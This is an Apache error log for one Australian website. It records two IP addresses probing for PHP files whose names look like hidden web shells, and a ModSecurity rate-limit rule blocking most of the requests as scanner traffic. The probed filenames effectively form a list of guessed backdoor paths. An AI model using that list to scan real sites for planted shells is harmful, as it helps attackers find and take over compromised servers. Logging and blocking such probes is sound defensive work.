[Wed Apr 01 20:14:54.810845 2026] [:error] [pid 8908:tid 8917] [client 20.203.215.185:1028] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/20.php"] [unique_id "ac0MPvkmxtJXGnLdvgBygwAAAIQ"]
[Wed Apr 01 20:14:55.618000 2026] [:error] [pid 8910:tid 8985] [client 20.203.215.185:24921] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/20.php"] [unique_id "ac0MP6JZINUcF3tYgExVBAAAARE"]
[Wed Apr 01 20:14:56.286355 2026] [:error] [pid 8910:tid 8986] [client 20.203.215.185:16240] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ac0MQKJZINUcF3tYgExVBwAAARI"]
[Wed Apr 01 20:14:57.029209 2026] [:error] [pid 8909:tid 8961] [client 20.203.215.185:14601] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ac0MQTvP_a0662gDl6CcaAAAANQ"]
[Wed Apr 01 20:14:57.838144 2026] [:error] [pid 8909:tid 8943] [client 20.203.215.185:28184] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ac0MQTvP_a0662gDl6CcbwAAAMI"]
[Wed Apr 01 20:14:58.704656 2026] [:error] [pid 8908:tid 8913] [client 20.203.215.185:11280] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ac0MQvkmxtJXGnLdvgBylQAAAIA"]
[Wed Apr 01 20:14:59.643805 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:1713] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c.php"] [unique_id "ac0MQ_kmxtJXGnLdvgByoAAAAJU"]
[Wed Apr 01 20:15:00.405988 2026] [:error] [pid 62559:tid 62576] [client 20.203.215.185:14887] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c.php"] [unique_id "ac0MRC7NKI8IaNKZFIeMkAAAAU8"]
[Wed Apr 01 20:15:01.340100 2026] [:error] [pid 8995:tid 9009] [client 20.203.215.185:14892] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c.php"] [unique_id "ac0MReonaBjs3qxcRee5SwAAAAs"]
[Wed Apr 01 20:15:02.175687 2026] [:error] [pid 8908:tid 8919] [client 20.203.215.185:24909] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c.php"] [unique_id "ac0MRvkmxtJXGnLdvgByrwAAAIY"]
[Wed Apr 01 20:15:03.359225 2026] [:error] [pid 8909:tid 8943] [client 20.203.215.185:33434] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ac0MRzvP_a0662gDl6CcjQAAAMI"]
[Wed Apr 01 20:15:04.057178 2026] [:error] [pid 62559:tid 62574] [client 20.203.215.185:24940] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ac0MSC7NKI8IaNKZFIeMkQAAAU0"]
[Wed Apr 01 20:15:05.041959 2026] [:error] [pid 8908:tid 8919] [client 20.203.215.185:13073] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ac0MSfkmxtJXGnLdvgByuAAAAIY"]
[Wed Apr 01 20:15:06.022161 2026] [:error] [pid 8910:tid 8991] [client 20.203.215.185:1645] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/we2.php"] [unique_id "ac0MSqJZINUcF3tYgExVFAAAARc"]
[Wed Apr 01 20:15:06.619836 2026] [:error] [pid 17856:tid 17860] [client 20.203.215.185:1711] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ac0MSj7Idlm5j9frhqQQ1QAAAEI"]
[Wed Apr 01 20:15:07.582584 2026] [:error] [pid 17856:tid 17870] [client 20.203.215.185:1727] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ac0MSz7Idlm5j9frhqQQ2wAAAEw"]
[Wed Apr 01 20:15:08.388798 2026] [:error] [pid 8909:tid 8952] [client 20.203.215.185:27699] [client 20.203.215.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/04.php"] [unique_id "ac0MTDvP_a0662gDl6CcnQAAAMs"]
[Wed Apr 01 20:15:09.270387 2026] [:error] [pid 8908:tid 8934] [client 20.203.215.185:24609] File does not exist: /usr/local/apache/htdocs/suspended-page/04.php
[Wed Apr 01 20:15:09.514438 2026] [:error] [pid 8908:tid 8928] [client 20.203.215.185:24609] File does not exist: /usr/local/apache/htdocs/suspended-page/333.php
[Thu Apr 02 03:58:47.005161 2026] [:error] [pid 29467:tid 29494] [client 158.158.99.125:64182] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-Blogs.php
[Thu Apr 02 06:49:37.334891 2026] [:error] [pid 59194:tid 59223] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/class-bda.php
[Thu Apr 02 06:49:37.607962 2026] [:error] [pid 59194:tid 59219] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/f2.php
[Thu Apr 02 06:49:37.876901 2026] [:error] [pid 59194:tid 59222] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/classc.php
[Thu Apr 02 06:49:38.148801 2026] [:error] [pid 59194:tid 59229] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/ahutr.php
[Thu Apr 02 06:49:38.416686 2026] [:error] [pid 59194:tid 59235] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/class-cc.php
[Thu Apr 02 06:49:38.685021 2026] [:error] [pid 59194:tid 59221] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Thu Apr 02 06:49:38.952989 2026] [:error] [pid 59194:tid 59220] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/brtnd.php
[Thu Apr 02 06:49:39.221935 2026] [:error] [pid 59194:tid 59214] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/azrhw.php
[Thu Apr 02 06:49:39.491164 2026] [:error] [pid 59194:tid 59230] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/cnusw.php
[Thu Apr 02 06:49:39.760123 2026] [:error] [pid 59194:tid 59227] [client 20.223.180.142:20978] File does not exist: /usr/local/apache/htdocs/suspended-page/dtwpf.php
[Thu Apr 02 06:49:40.025287 2026] [:error] [pid 59194:tid 59217] [client 20.223.180.142:20978] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac2hBBMpAeV11hcQehzkkgAAAAQ"]
[Thu Apr 02 06:49:40.532845 2026] [:error] [pid 37543:tid 37550] [client 20.223.180.142:43924] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac2hBHhdk2bEYJCvILYxEQAAAUU"]
[Thu Apr 02 06:49:41.035219 2026] [:error] [pid 59200:tid 59257] [client 20.223.180.142:20953] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac2hBbfP26txrdLs3EoC4AAAAFE"]
[Thu Apr 02 06:49:41.548497 2026] [:error] [pid 59200:tid 59244] [client 20.223.180.142:65300] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wtiiy.php"] [unique_id "ac2hBbfP26txrdLs3EoC4gAAAEQ"]
[Thu Apr 02 06:49:42.050172 2026] [:error] [pid 37543:tid 37567] [client 20.223.180.142:50131] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "ac2hBnhdk2bEYJCvILYxGgAAAVY"]
[Thu Apr 02 06:49:42.580801 2026] [:error] [pid 37543:tid 37556] [client 20.223.180.142:20941] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "ac2hBnhdk2bEYJCvILYxHAAAAUs"]
[Thu Apr 02 06:49:43.083779 2026] [:error] [pid 59201:tid 59284] [client 20.223.180.142:43917] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "ac2hB8AC0Tw8eL6gzZ6OHgAAAJE"]
[Thu Apr 02 06:49:43.591970 2026] [:error] [pid 59201:tid 59272] [client 20.223.180.142:65326] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/s.php"] [unique_id "ac2hB8AC0Tw8eL6gzZ6OHwAAAIU"]
[Thu Apr 02 06:49:44.095308 2026] [:error] [pid 59200:tid 59264] [client 20.223.180.142:43919] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ac2hCLfP26txrdLs3EoC4wAAAFg"]
[Thu Apr 02 06:49:44.610442 2026] [:error] [pid 59200:tid 59256] [client 20.223.180.142:65299] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ac2hCLfP26txrdLs3EoC5QAAAFA"]
[Thu Apr 02 06:49:45.115653 2026] [:error] [pid 59305:tid 59314] [client 20.223.180.142:50122] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ac2hCar2tV4rDwKFxKccvgAAAMU"]
[Thu Apr 02 06:49:45.618618 2026] [:error] [pid 59201:tid 59280] [client 20.223.180.142:65336] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "ac2hCcAC0Tw8eL6gzZ6OIwAAAI0"]
[Thu Apr 02 06:49:46.125729 2026] [:error] [pid 59305:tid 59324] [client 20.223.180.142:65281] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "ac2hCqr2tV4rDwKFxKccwQAAAM8"]
[Thu Apr 02 06:49:46.631312 2026] [:error] [pid 59200:tid 59258] [client 20.223.180.142:65304] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "ac2hCrfP26txrdLs3EoC6AAAAFI"]
[Thu Apr 02 06:49:47.146899 2026] [:error] [pid 59200:tid 59241] [client 20.223.180.142:20937] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "ac2hC7fP26txrdLs3EoC6gAAAEE"]
[Thu Apr 02 06:49:47.673139 2026] [:error] [pid 59200:tid 59253] [client 20.223.180.142:20976] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lef.php"] [unique_id "ac2hC7fP26txrdLs3EoC7QAAAE0"]
[Thu Apr 02 06:49:48.184712 2026] [:error] [pid 59200:tid 59263] [client 20.223.180.142:50169] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hDLfP26txrdLs3EoC7wAAAFc"]
[Thu Apr 02 06:49:48.690862 2026] [:error] [pid 59200:tid 59261] [client 20.223.180.142:50147] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hDLfP26txrdLs3EoC8AAAAFU"]
[Thu Apr 02 06:49:49.213413 2026] [:error] [pid 59201:tid 59288] [client 20.223.180.142:20947] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hDcAC0Tw8eL6gzZ6OJQAAAJU"]
[Thu Apr 02 06:49:49.718824 2026] [:error] [pid 59200:tid 59243] [client 20.223.180.142:50148] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ftde.php"] [unique_id "ac2hDbfP26txrdLs3EoC9AAAAEM"]
[Thu Apr 02 06:49:50.233666 2026] [:error] [pid 59201:tid 59289] [client 20.223.180.142:20989] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2hDsAC0Tw8eL6gzZ6OJwAAAJY"]
[Thu Apr 02 06:49:50.743017 2026] [:error] [pid 29467:tid 29487] [client 20.223.180.142:50138] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2hDr4VUBFCJAq-WOkwcQAAARE"]
[Thu Apr 02 06:49:51.282983 2026] [:error] [pid 37543:tid 37555] [client 20.223.180.142:20984] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2hD3hdk2bEYJCvILYxIgAAAUo"]
[Thu Apr 02 06:49:51.783901 2026] [:error] [pid 59305:tid 59326] [client 20.223.180.142:65283] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ccv.php"] [unique_id "ac2hD6r2tV4rDwKFxKccywAAANE"]
[Thu Apr 02 06:49:52.298807 2026] [:error] [pid 59201:tid 59287] [client 20.223.180.142:20973] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "ac2hEMAC0Tw8eL6gzZ6OMAAAAJQ"]
[Thu Apr 02 06:49:52.808634 2026] [:error] [pid 59200:tid 59241] [client 20.223.180.142:20939] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "ac2hELfP26txrdLs3EoC9gAAAEE"]
[Thu Apr 02 06:49:53.323551 2026] [:error] [pid 59201:tid 59272] [client 20.223.180.142:43938] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "ac2hEcAC0Tw8eL6gzZ6ONAAAAIU"]
[Thu Apr 02 06:49:53.825398 2026] [:error] [pid 59200:tid 59263] [client 20.223.180.142:50170] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/h2.php"] [unique_id "ac2hEbfP26txrdLs3EoC-QAAAFc"]
[Thu Apr 02 06:49:54.335873 2026] [:error] [pid 59200:tid 59249] [client 20.223.180.142:20990] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/haz.php"] [unique_id "ac2hErfP26txrdLs3EoC-wAAAEk"]
[Thu Apr 02 06:49:54.842238 2026] [:error] [pid 29467:tid 29478] [client 20.223.180.142:50139] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/haz.php"] [unique_id "ac2hEr4VUBFCJAq-WOkwewAAAQg"]
[Thu Apr 02 06:49:55.345451 2026] [:error] [pid 29467:tid 29472] [client 20.223.180.142:65324] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/haz.php"] [unique_id "ac2hE74VUBFCJAq-WOkwfwAAAQI"]
[Thu Apr 02 06:49:55.853735 2026] [:error] [pid 29467:tid 29482] [client 20.223.180.142:65335] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/haz.php"] [unique_id "ac2hE74VUBFCJAq-WOkwgQAAAQw"]
[Thu Apr 02 06:49:56.371761 2026] [:error] [pid 29467:tid 29479] [client 20.223.180.142:65337] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "ac2hFL4VUBFCJAq-WOkwgwAAAQk"]
[Thu Apr 02 06:49:56.884218 2026] [:error] [pid 59200:tid 59254] [client 20.223.180.142:43921] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "ac2hFLfP26txrdLs3EoC_AAAAE4"]
